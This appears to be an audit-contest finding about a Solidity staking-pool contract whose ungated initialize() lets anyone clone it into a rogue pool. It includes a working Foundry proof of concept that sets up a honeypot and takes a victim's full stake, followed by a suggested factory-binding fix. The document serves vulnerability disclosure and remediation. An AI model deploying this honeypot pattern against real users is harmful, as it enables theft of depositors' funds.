FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Ungated `ConfidencePool.initialize()` lets any third party clone the implementation and mint an ABI-identical rogue pool, bypassing the factory's allowlist and provenance controls

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: ConfidencePoolFactory.createPool() is the intended, sole entry point for producing a legitimate pool — it enforces the stake-token allowlist, an agreement-owner authorization gate, and injects the DAO's defaultOutcomeModerator, before atomically deploying an EIP-1167 clone of poolImplementation and calling initialize() on it in the same transaction.

  • Specific issue: poolImplementation is a single, public, already-deployed address, and EIP-1167 minimal proxies can be cloned by any deployer via Clones.clone(poolImplementation). ConfidencePool.initialize() itself carries no binding back to the factory — it only checks for zero addresses and that the supplied agreement is valid — so any third party can clone the implementation directly and call initialize() with a real, valid agreement they do not own, an arbitrary (non-allowlisted) stake token, and an attacker-controlled moderator/recovery/owner. The result is a contract that is byte-for-byte ABI-identical to an official pool for that agreement, invisible to factory.getPoolsByAgreement(), with no on-chain way for a caller to distinguish it from the genuine article short of checking the registry.

/// @inheritdoc IConfidencePool
function initialize(
address agreement_,
address stakeToken_,
@> address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
@> ) external initializer {
// @> Only guard is the one-shot `initializer` modifier — there is NO onlyFactory /
// @> known-factory binding anywhere in this function.
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (outcomeModerator_ == address(0)) revert ZeroAddress();
if (owner_ == address(0)) revert ZeroAddress();
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (minStake_ == 0) revert InvalidAmount();
// @> stakeToken_ is NEVER checked against ConfidencePoolFactory.allowedStakeToken here —
// @> that allowlist check only exists in ConfidencePoolFactory.createPool(), never in the pool.
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
agreement = agreement_;
stakeToken = IERC20(stakeToken_);
@> safeHarborRegistry = IBattleChainSafeHarborRegistry(safeHarborRegistry_);
// @> safeHarborRegistry_ is a caller-supplied parameter — an attacker can point this at
// @> their OWN fake registry contract instead of the real BattleChain Safe Harbor registry.
@> outcomeModerator = outcomeModerator_;
// @> outcomeModerator_ is caller-supplied — never forced to be the DAO's defaultOutcomeModerator.
expiry = uint32(expiry_);
minStake = minStake_;
@> recoveryAddress = recoveryAddress_;
// @> recoveryAddress_ is caller-supplied — an attacker can route all swept/corrupted funds to themselves.
outcome = PoolStates.Outcome.UNRESOLVED;
_replaceScope(accounts);
@> _transferOwnership(owner_);
// @> owner_ is caller-supplied — the attacker can make themselves the pool owner directly.
}

For contrast, this is the ONLY guard protecting the shared implementation contract itself (constructor-time, EIP-1167 clones bypass it entirely):

constructor() {
_disableInitializers();
}

Risk

  • Anyone with no special privilege can trigger this — the attacker only needs to find one already-deployed, valid BattleChain Safe Harbor agreement with at least one in-scope account (a public, on-chain fact, not a secret), and the public poolImplementation address (readable directly off the factory).

  • Realizing this into actual victim fund loss additionally depends on a phished depositor skipping the one on-chain authenticity check available (factory.getPoolsByAgreement) — an off-chain, social precondition the attacker cannot force, which is what keeps the realized-harm likelihood at the lower end even though the deployment step itself is trivial and always available.

Impact:

  • A victim who deposits into the rogue clone can lose up to 100% of their staked principal: the attacker (as the self-installed moderator, using their own fake registry) can flip the fake registry to CORRUPTED, flag the outcome, and sweep the full deposited balance to their own attacker-controlled recoveryAddress.

  • No legitimate, factory-created pool or the factory itself is ever put at risk (their funds and configuration remain fully protected) — the impact is bounded to whichever off-registry, unofficial clones a phished user is tricked into using, which is a real, protocol-adjacent property (the factory-level allowlist and DAO-moderator provenance guarantees are supposed to hold system-wide, but do not extend to the pool's own init path).

Proof of Concept

This is the exact, unmodified content of test/poc/F-002-PoC.t.sol. It is fully self-contained — it only imports forge-std/Test, OpenZeppelin's Clones, the real ConfidencePool contract, and the project's existing mock contracts under test/mocks/; it does not depend on any custom base-test class. Save it to that path in the project and run:

forge test --match-path "test/poc/F-002-PoC.t.sol" -vv

Real captured output:

Compiling 1 files with Solc 0.8.26
Solc 0.8.26 finished in 7.80s
Compiler run successful!
Ran 2 tests for test/poc/F-002-PoC.t.sol:ConfidencePoolF2PoC
[PASS] test_POC_honeypotDrainsVictimPrincipal() (gas: 1630484)
Logs:
victim principal lost (100%): 100000000000000000000
attacker recovery-sink gain: 100000000000000000000
[PASS] test_POC_rogueCloneImpersonatesOfficialPool() (gas: 1221924)
Logs:
Rogue clone initialized against a real agreement, bypassing factory allowlist
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.70ms (1.02ms CPU time)
Ran 1 test suite in 19.98ms (1.70ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract ConfidencePoolF2PoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant VICTIM_STAKE = 100e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
ConfidencePool internal implementation;
address internal legitOwner = makeAddr("legitAgreementOwner");
address internal impersonator = makeAddr("impersonator");
address internal rogueModerator = makeAddr("rogueModerator");
address internal victim = makeAddr("victim");
address internal attacker = makeAddr("attacker");
function setUp() public {
vm.warp(1_750_000_000);
implementation = new ConfidencePool();
}
function test_POC_rogueCloneImpersonatesOfficialPool() public {
MockAttackRegistry attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
MockAgreement legitAgreement = new MockAgreement(legitOwner);
legitAgreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAgreementValid(address(legitAgreement), true);
MockERC20 rogueToken = new MockERC20();
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
vm.startPrank(impersonator);
ConfidencePool rogue = ConfidencePool(Clones.clone(address(implementation)));
rogue.initialize(
address(legitAgreement),
address(rogueToken),
address(safeHarborRegistry),
rogueModerator,
block.timestamp + 31 days,
ONE,
impersonator,
impersonator,
scope
);
vm.stopPrank();
assertEq(rogue.agreement(), address(legitAgreement), "rogue points at the real agreement");
assertEq(address(rogue.stakeToken()), address(rogueToken), "non-allowlisted token accepted");
assertEq(rogue.outcomeModerator(), rogueModerator, "attacker-controlled moderator installed");
assertEq(rogue.recoveryAddress(), impersonator, "attacker-controlled recovery sink");
assertEq(rogue.owner(), impersonator, "attacker owns the rogue pool");
assertTrue(rogue.isAccountInScope(SCOPE_ACCOUNT), "publishes a legitimate-looking scope");
vm.expectRevert();
implementation.initialize(
address(legitAgreement),
address(rogueToken),
address(safeHarborRegistry),
rogueModerator,
block.timestamp + 31 days,
ONE,
impersonator,
impersonator,
scope
);
}
function test_POC_honeypotDrainsVictimPrincipal() public {
vm.startPrank(attacker);
MockAttackRegistry fakeAttackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry fakeRegistry = new MockSafeHarborRegistry();
fakeRegistry.setAttackRegistry(address(fakeAttackRegistry));
MockAgreement fakeAgreement = new MockAgreement(attacker);
fakeAgreement.setContractInScope(SCOPE_ACCOUNT, true);
fakeRegistry.setAgreementValid(address(fakeAgreement), true);
fakeAttackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
MockERC20 realToken = new MockERC20();
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
ConfidencePool rogue = ConfidencePool(Clones.clone(address(implementation)));
rogue.initialize(
address(fakeAgreement),
address(realToken),
address(fakeRegistry),
attacker,
block.timestamp + 31 days,
ONE,
attacker,
attacker,
scope
);
vm.stopPrank();
realToken.mint(victim, VICTIM_STAKE);
vm.startPrank(victim);
realToken.approve(address(rogue), VICTIM_STAKE);
rogue.stake(VICTIM_STAKE);
vm.stopPrank();
assertEq(realToken.balanceOf(address(rogue)), VICTIM_STAKE, "victim principal now custodied by rogue");
assertEq(realToken.balanceOf(victim), 0, "victim parted with real tokens");
vm.prank(attacker);
fakeAttackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(victim);
vm.expectRevert();
rogue.withdraw();
vm.prank(attacker);
rogue.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 attackerBefore = realToken.balanceOf(attacker);
vm.prank(attacker);
rogue.claimCorrupted();
uint256 attackerAfter = realToken.balanceOf(attacker);
assertEq(attackerAfter - attackerBefore, VICTIM_STAKE, "attacker swept the victim's full principal");
assertEq(realToken.balanceOf(address(rogue)), 0, "rogue pool drained to zero");
assertEq(realToken.balanceOf(victim), 0, "victim lost 100% of principal");
}
}

Recommended Mitigation

+ address public immutable FACTORY;
+
+ error NotFactory();
+
- constructor() Ownable(msg.sender) {
+ constructor(address factory_) Ownable(msg.sender) {
+ if (factory_ == address(0)) revert ZeroAddress();
+ FACTORY = factory_;
_disableInitializers();
}
/// @inheritdoc IConfidencePool
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
+ // Reject initialization on any clone unless it was deployed and initialized by the
+ // one authorized factory. Reverts (does not merely flag) a third-party clone attempt.
+ if (msg.sender != FACTORY) revert NotFactory();
+
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (outcomeModerator_ == address(0)) revert ZeroAddress();
if (owner_ == address(0)) revert ZeroAddress();
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (minStake_ == 0) revert InvalidAmount();
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}

Deployment ordering requirement: ConfidencePoolFactory is deployed behind an ERC1967Proxy (script/Deploy.s.sol), so its proxy address is fixed at proxy-deployment time, before the factory's own initialize() runs. Deploy the factory's ERC1967Proxy first (its address is now fixed and known, even though the factory isn't initialized yet), then deploy the ConfidencePool implementation with that proxy address passed to its constructor as FACTORY, then point the factory's poolImplementation at it. Every clone made via Clones.clone(poolImplementation) shares the same implementation bytecode and therefore the same embedded FACTORY value — so initialize() reverts for anyone except the real, already-fixed factory address, closing the vector directly rather than adding a second oracle for users to optionally check.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!